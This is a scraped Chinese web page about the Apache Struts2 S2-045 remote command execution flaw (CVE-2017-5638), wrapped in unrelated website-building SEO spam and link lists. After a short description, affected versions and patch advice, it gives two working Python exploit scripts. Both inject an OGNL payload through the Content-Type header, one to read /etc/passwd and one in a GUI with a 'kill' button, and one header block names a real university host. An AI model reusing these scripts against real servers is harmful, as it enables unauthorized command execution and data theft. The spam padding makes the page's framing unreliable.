当前位置: 首页 > news >正文

广东涂料网站建设昆明专业网站建设的公司

广东涂料网站建设,昆明专业网站建设的公司,《网站建设与管理》方案,建设网站服务商文章前半部分来自团队小伙伴阿德马的总结#xff0c;后半部分的Poc和Exp是小编匆忙之际借鉴而来#xff0c;感谢写Poc和Exp的伙伴~ 安恒给官方上报的#xff0c;然后官方选择了1个对国内来说比较敏感的时期发了公告出来#xff0c;好蛋疼。 该漏洞的CVE编号是CVE-2017-56…文章前半部分来自团队小伙伴阿德马的总结后半部分的Poc和Exp是小编匆忙之际借鉴而来感谢写Poc和Exp的伙伴~ 安恒给官方上报的然后官方选择了1个对国内来说比较敏感的时期发了公告出来好蛋疼。 该漏洞的CVE编号是CVE-2017-5638(s2-045)攻击者利用该漏洞可以进行远程命令执行从而获取更高的服务器权限。 漏洞描述 查了点资料发现跟struts2配置中struts.multipart.handler的设置有关默认使用的就是Jakarta对应类org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest。也就是说struts2的此项设置使用了默认配置就会存在该漏洞。 攻击者通过修改http请求头中的Content-Type的值来触发该漏洞进而执行命令获取更高的系统权限。 如图所示 上图是使用了测试用poc对被攻击服务器执行了”whoami”的命令。 漏洞影响范围 Struts 2.3.5 – Struts 2.3.3 Struts 2.5 – Struts 2.5.10 修复建议 升级到Struts 2.3.32 或者 Struts 2.5.10.1稳妥方法 或者在struts2配置中修改struts.multipart.handler的配置(个人理解未测试) ​ 再贴个预警邮件大家就都不用写了 HIALL: Apache Struts2又爆出了新的远程命令执行漏洞对应CVE编号是CVE-2017-5638请对受影响的struts2 版本进行升级处理。 Poc: #! /usr/bin/env python # encoding:utf-8 import urllib2 import sys from poster.encode import multipart_encode from poster.streaminghttp import register_openersheader1 { Host:alumnus.shu.edu.cn, Connection:keep-alive, Refer:alumnus.shu.edu.cn, Accept:*/*, X-Requested-With:XMLHttpRequest, Accept-Encoding:deflate, Accept-Language:zh-CN,zh;q0.8,en;q0.6,zh-TW;q0.4, }def poc():register_openers()datagen, header multipart_encode({image1: open(tmp.txt, rb)})header[User-Agent]Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36header[Content-Type]%{(#nikemultipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdcat /etc/passwd).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())}request urllib2.Request(str(sys.argv[1]),datagen,headersheader)response urllib2.urlopen(request)print response.read()poc() Exp: #coding:utf-8 import urllib2 from Tkinter import * import sys from poster.encode import multipart_encode from poster.streaminghttp import register_openersclass START():def __init__(self,root):self.rootrootself.show_W_Text Text()self.show_url_ed Label(root, textstr2)self.edit_url Entry(root, text输入地址)self.butt_whois Button(root, textkill,commandself.poc)self.show_url_ed.pack()self.edit_url.pack()self.butt_whois.pack()self.show_W_Text.pack()def poc(self):w_url self.edit_url.get()text self.show_W_Textregister_openers()datagen, header multipart_encode({image1: open(tmp.txt, rb)})header[User-Agent] Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36header[Content-Type] %{(#nikemultipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdifconfig).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())}request urllib2.Request(w_url, datagen, headersheader)response urllib2.urlopen(request).read()text.insert(1.0, response)if __name__ __main__:rootTk()root.title(str2 045)motionSTART(root)mainloop()
http://www.pierceye.com/news/473963/

相关文章:

  • 北京建设执业注册中心网站北京中兴时代网站建设
  • 深圳建站公司设计肥城网站建设推广
  • 对网站建设服务公司的看法wordpress主题自定义打不开
  • 宁夏电力建设工程公司门户网站万能编程软件
  • 网站上常用字体企业服务中心官网
  • 大作设计网站域名访问升级紧急中拿笔记好
  • 银川做网站的有哪些建筑工程网上报建网站诚信手册
  • 本地做网站绑定域名ic商城网站建设南大
  • react 网站开发seo软件资源
  • 中国最大免费wap网站怎样才能建设只是于自己的网站
  • 装修网站平台排行榜wordpress做视频网站吗
  • flash网站建设价格播放器网站怎么做
  • 微网站 源码 免费文本编辑器 网站
  • 电商网站通用左侧弹出导航有南昌网站优化公司
  • 沈阳三好街做网站公司个人网页设计风格分析
  • 网站建设经费计划内容网站建设中存在的问题
  • 天凡建设股份有限公司网站苍山网站建设
  • 如何新建网站dw线下推广的渠道和方法
  • 网站友链wordpress火车头发布
  • 青海网站维护公司自己的网站叫什么
  • 微网站 淘宝客wordpress备案号放置
  • html5 手机网站 模版网站信息员队伍建设
  • 基金会网站开发方案政务公开网站建设重点
  • 影视网站制作网页游戏的软件
  • 企业做网站的费用如何科目青色网站欣赏
  • 做视频网站怎么赚钱的网站开发流程的三个部分
  • 牡丹江市建设行业协会网站广西住房城乡建设厅网站首页
  • 重庆网站关键词排名优化免费网页代理的推荐
  • 定制型网站怎么做重庆软件开发公司有哪些
  • 自适应型网站建设网站建设搭建是什么意思